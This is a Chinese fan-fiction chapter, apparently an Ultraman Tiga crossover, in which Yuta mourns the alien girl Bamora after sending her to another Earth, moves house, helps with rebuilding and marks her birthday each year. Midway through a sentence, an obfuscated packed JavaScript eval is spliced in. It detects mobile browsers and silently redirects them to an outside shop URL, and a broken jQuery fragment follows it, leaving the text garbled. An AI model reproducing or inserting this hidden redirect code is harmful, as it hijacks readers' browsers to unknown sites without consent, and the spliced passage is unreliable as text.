从南太平洋开车回来的那一夜，柏木悠太没有开灯。
二手白色轻 K-car停在公寓楼下，他在驾驶座上坐了很久，才上楼。钥匙插进锁孔，“咔哒”一声，门开了，玄关里安安静静，没有那道熟悉的、听见钥匙声就会竖起触角跑过来的身影。
“ただいま。」他下意识地说。
没有人应。
他在玄关站了几秒钟，才想起来，以后都不会有人应了。
屋子还是他们一起生活时的样子。餐桌上摆着两只马克杯，一只是他的灰蓝色，一只是她挑的、印着笨拙小怪兽的鹅黄色；沙发扶手上搭着她看恐怖片时裹的毛毯；厨房的沥水架旁，章鱼烧烤盘擦得干干净净，那是他们最常用的一件家当。窗台上，她养不活却偏要养的那一盆绿萝，还顽强地绿着。
到处都是她的痕迹，又到处都没有她。
悠太给自己倒了一杯水，习惯性地倒了第二杯，端到餐桌对面放下，这才反应过来，对着那只空杯子，沉默了很久，最后轻轻笑了一下，眼眶却是红的。
那天夜里，他躺在被褥上，怎么都睡不着。
身边的榻榻米空着。以前这个位置，是纳米装甲休眠时舒展的地方，巴莫拉总爱靠着装甲睡，触角会在睡梦里轻轻搭过来，搭在他手背上。他闭上眼，还能清楚地“想”起那条神经链接的触感——温热的、平稳的，像两个人共用一个心跳。可他真的去感知时，那里只剩一片寂静的、无边的空白。
像被人从身体里，抽走了一部分。
他不是没有预料过这一天。从三号锚点之后算出“只能一个人走”的那个晚上起，他就一遍遍地在心里排练过此刻。他以为自己准备好了。可真正到了这一夜他才明白，有些空，是再怎么排练，都填不上的。
他没有哭出声。他只是把脸埋进她留下的那条毛毯里，毛毯洗过很多次，早就没有她的味道了，他却还是抱着它，一直到天快亮，才迷迷糊糊睡过去。
梦里，翠绿短发的少女蹲在沙滩上画画，回头冲他笑，触角一晃一晃：“ゆうた、みて。」
他想走过去，画面却像潮水一样退散了。
搬家是在 2010年的春天。
他决定离开这间装满回忆的老公寓，换一间朝南的、小一点的房子。收拾东西时，他才发现，一年多的同居，早就在这间屋子里塞满了两个人的证据。
他把她的东西，一件一件，小心地收进一个铁皮饼干盒。
那顶她用来藏触角的针织帽——她离家时戴着另一顶，这顶米白色的、洗得有点起球的，落在了衣柜最上面。他把帽子叠好放进去，指腹蹭过柔软的毛线，仿佛还能看见她戴着它、把两根粉色触角拼命往下按的样子。
那一摞画。苏美尔的星空，是她想家时一笔一笔描的；阿彦少爷的村子，是看完奥比克那夜，她红着眼眶画下的，说要替那个妖怪记住他的故乡；还有最后那张海边的画——两个牵着手的小人、一头圆钝无角的小怪兽、一颗八角星和一颗蓝色的小星球。画纸边缘被海水打湿过，微微发皱，他却平整地夹进了最厚的一本书里。
半盒没拼完的千片拼图，是他们调休那天打枕头仗、爆了一屋羽绒之后，赌气又和好、一起拼到一半的。他没有拼完，就那么原样收着。
两张租来忘了还的影碟，一张恐怖片、一张爱情片。一张手写的“地球生活常识”便签，是他写给她、她又歪歪扭扭抄了一遍的，上面还留着她用假名标注的读音。
他一样一样地放，动作轻得像在安放什么易碎的珍宝。
最后，他拿起章鱼烧烤盘，犹豫了很久，没有放进铁盒，而是单独装进了行李。
“这个，我还得用。”他对着空屋子，轻声说，像是在向谁解释。
铁盒不大，却装下了一个少女流落异星、被他捡回家的全部岁月。他把铁盒放在新家床头最显眼的位置，没有上锁，也没有塞进柜子深处。他不想把她“收起来”，他想让她留下的东西，继续陪着他过日子。
搬家那天天气很好，朝南的小房子里洒满了阳光。他把绿萝摆在窗台上，把鹅黄色的小怪兽马克杯，依旧摆在餐桌对面。
来帮忙的大岛浩平前辈看了直纳闷：“你一个人住，摆两个杯子干嘛？”
悠太笑了笑，没有解释，只说：“习惯了。”
回到 TPC后勤保障部，是决战结束后的第二周。
世界还在舔舐伤口。黑雾退去后，城市需要重建，被佐加损毁的设施需要抢修，后勤现场支援班前所未有地忙碌。悠太主动申请了最多的外勤，哪里有废墟，他就往哪里去。
忙碌是好东西。人一忙起来，就没有多余的力气难过。
同事们都说，柏木好像变了。
他还是那个话不多、做事稳当的合同职员，可又说不上来哪里不一样了。他比从前更耐心，也更“不怕事”：坍塌的楼板下还有人，他第一个钻进去；物资分配起了争执，他三言两语就能平下来；遇到惊魂未定、哭闹不止的孩子，他会从口袋里摸出一颗糖——他的工作服口袋里，从此总装着糖。
没人知道为什么。只有他自己清楚，他只是在一遍遍地，做当年他想为那个流落地球、惶恐不安的外星少女做的事。
他救过的人越来越多。一个被他从废墟里背出来的老奶奶，拉着他的手问他叫什么、要给他道谢，他只是摇头，说这是应该的，转身又去搬下一批物资。
有新来的年轻后勤问他：“柏木前辈，你怎么遇到什么事都这么稳啊？我第一次见怪兽，腿都软了。”
悠太直起腰，擦了把汗，望着远方正在重建的城市天际线，缓缓道：“因为我答应过一个人，要好好活着，也要让更多人，能好好活着。”
年轻人没听懂，挠着头笑了。悠太也不解释，只是低头继续干活，嘴角带着一点很淡、很温柔的笑意。
他再也没有穿过那套装甲，也再没有巨大化过。他重新做回了一个最普通的凡人，血肉之躯，会累会疼会受伤。可他心里比任何时候都踏实——他早就明白了，力量的大小从来不是关键，关键是那颗想护住什么的心。这颗心，装甲在的时候是这样，装甲不在了，也一样。
他在用一个普通人的方式，继续当她曾经以为的、那个“很厉害”的人。
整个 TPC里，只有一个人，知道他笑容底下压着什么。
圆大古。
失去神光棒之后，大古成了一个真正的普通人，却比从前更爱笑、更松弛。他没有点破悠太的秘密，只是偶尔在走廊遇见，会递给他一罐自动贩卖机的咖啡，两个人靠着墙，安静地站一会儿，什么都不用说。
那是一种很奇特的默契——他们都曾握过光，都曾为了守护拼上过性命，也都在那场决战之后，永远地告别了某个对自己无比重要的存在。大古告别了变身成光的自己，悠太告别了一个人。
大古决定离开一阵子，去旅行、去看看这个他拼了命守护下来的世界。临行前，他单独约悠太在基地的天台坐了坐。
“想好了？”悠太问。
“嗯。”大古望着海天相接的地方，“以前总觉得，得变成迪迦才能保护大家。现在才明白，光不在我一个人身上，它在每一个人心里。我想去看看那些‘光’，都是什么样子。”他顿了顿，侧过头看悠太，“你呢？以后有什么打算？就一直在后勤？”
“挺好的。”悠太笑，“这里需要我。而且……”他望着同一片海，声音轻下来，“这颗星球，是我和她一起救下来的。守着它，就像还在跟她一起做一件事。”
大古沉默片刻，拍了拍他的肩。
“柏木，我以前问过你，怕不怕一个人握着力量。现在我想问你另一个问题。”他看着他，眼神温和而认真，“一个人留下来，会不会太难？”
悠太怔了一下，随即摇头。
“难。”他诚实地说，“刚开始，难到喘不过气。可后来我想通了——她不是消失了，她是在另一颗我到不了的地球上，好好地活着。她会交到新朋友，会上学、会打工、会遇到很多很多好事。我们隔着一整个宇宙，却都在认真地活着。这么一想，就不觉得是一个人了。”
“她把她的世界托付给我守，我把她送到了她的世界。”他笑了笑，眼底有光，“我们只是换了种方式，并肩而已。”
大古看着他，良久，也笑了，举起咖啡罐：“敬并肩。”
“敬并肩。”
两只罐子轻轻碰在一起，发出清脆的一声响，像一句不必说破的祝福。
日子，就这样一个季节一个季节地，往前过。
冬天，他一个人过了新年。往年都是两个人窝在被炉里看红白歌会，巴莫拉听不懂梗，却看得津津有味，触角跟着节拍拍打他的胳膊。这一年，他照旧摆了两份御节料理，对着对面的空位说“あけましておめでとう”，然后一个人，安安静静地吃完。
春天，他搬进朝南的小房子，在阳台种了一排小番茄。他记得巴莫拉总好奇植物是怎么结果的，每天都要去看八百遍。如今他替她看，发芽了、抽藤了、结出第一颗青果子了，他会对着空气汇报，像当年她对着断掉的链接汇报一样。
夏天，祭典的夜晚，他买了两人份的章鱼烧材料，在新家的小阳台上支起烤盘。面糊“滋啦”作响，他熟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923517|213498||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
练地翻面、起锅，做了满满一大盘。他当然吃不完，便端下楼，分给了公寓里放烟花的孩子们。孩子们围着他喊“谢谢哥哥”，他蹲在一旁看着他们抢食，恍惚间像看见一个翠绿短发的少女，第一次吃到章鱼烧时，眼睛亮得像星星。
他自己也吃了一颗，是普通的、没有包草莓巧克力的味道。
“勇者的味道，下次吧。”他笑着自言自语。
秋天，他去了一趟他们曾经一起去过的海边。沙滩还是那个沙滩，只是再也没有蹲在地上画画的少女。他坐了一整个下午，看潮起潮落，临走前，用树枝在沙上画了两个牵着手的小人，一个圆钝无角的小怪兽。潮水涌上来，把画带走了，他却觉得，这样也好——画进了海里，就像顺着洋流，寄去了某个远方。
他还把九月中旬的某一天，悄悄记成了一个纪念日。
他不知道巴莫拉真正的生日，她自己大概也记不清母星的历法了。于是他把自己在丛林里捡到她的那一天，当作她的生日。每年这一天，他都会买一个小小的蛋糕，插一根蜡烛，对着对面那只鹅黄色的小怪兽马克杯，轻声说一句：
“バモラ、おたんじょうび、おめでとう。」
巴莫拉，生日快乐。
他不知道另一颗地球上有没有人给她过生日，他能做的，只是在他这一头，一年不落地，替她记着。
又是一个繁星满天的夜晚。
悠太搬了把椅子坐到阳台，像无数个夜晚一样，仰头看星星。小番茄的藤蔓在夜风里轻轻晃，床头的铁盒半开着，那张海边的画，被他取出来压在了桌上的玻璃台板下。
他已经很少再去徒劳地探那条断掉的神经链接了。只是偶尔，在某个走神的瞬间，他还是会下意识地“找”一下她，像断肢的人会感到幻肢的存在。那片空白如今不再让他疼得喘不过气，它变成了一块柔软的、安静的地方，被他妥帖地安放在心底。
他望着星空，在心里，慢慢地对那个听不见的人说话。
巴莫拉。
又是一年了。
你那边，过得好吗？
我学会自己做章鱼烧了，味道跟你在的时候差不多，就是没人跟我抢了，有点没意思。
工作还是老样子，救了些人，搬了些砖，前辈说我该转正了，我在考虑。
对了，我种的小番茄结果了，特别甜，可惜你吃不到。你要是在，肯定又要一天去看八百遍。
我没有食言，我在好好活着，认真吃饭，按时睡觉，对遇到的每个人都尽量温柔一点。
你也要。你要在那颗地球上，活得比谁都热闹、都幸福。这样，我送你走的那一步，才不算白走。
他说着，唇角弯起来，星光落进他眼里，温润而安宁。
他从来没有后悔过把她推进那道光门。哪怕留给他的是一生的思念、是再也填不满的空房间，他也从不后悔。因为他太清楚了，爱一个人，有时候不是把她留在身边，而是舍得把她送往她本该拥有的、辽阔的人生。
他只是偶尔会想，等很多很多年以后，等他也老了、走完这一生，到了要离开这个世界的那一天，他能不能穿过星星与星星之间的缝隙，在某个地方，再遇见她。
到那个时候，她大概已经是个度过了漫长幸福一生的老奶奶了吧，而他要把他在这颗星球上、一个人看过的每一片海、每一季花、每一个星空，全都讲给她听。他还要告诉她：你看，我们都没有食言，我们都好好地、把各自的一生，活成了光。
“ね、バモラ。」他对着星空，轻声说，“そのときまで、おたがい、げんきで、いようね。」
呐，巴莫拉。在那一天到来之前，我们都要好好的。
夜风温柔地吹过，像是谁在很远很远的地方，轻轻应了一声。
他起身，把椅子搬回屋里，替绿萝浇了水，把两个杯子洗干净倒扣好，关灯，上床。明天还要早起上班，还有废墟要清、有人要帮、有崭新的一天，要认认真真地过。
灯熄了，朝南的小房间沉入安静的夜色。床头的铁盒在月光下泛着柔和的光，像一颗被他小心捧在掌心的、遥远的星。
这个世界上，有一个翠绿色短发的少女，在另一颗地球上，被温柔接住，向着她辽阔的人生奔跑。
而这颗地球上，有一个普通的男孩，守着他们共同拯救过的天空，把一个人的日子，过成了两个人的份，认真、温柔、一步一步，朝着与她在星空尽头重逢的那一天，慢慢走下去。
隔着永不可渡的宇宙间隙，他们再没相见。
可他抬头，她低头，看见的是同一片星光。
这就够了。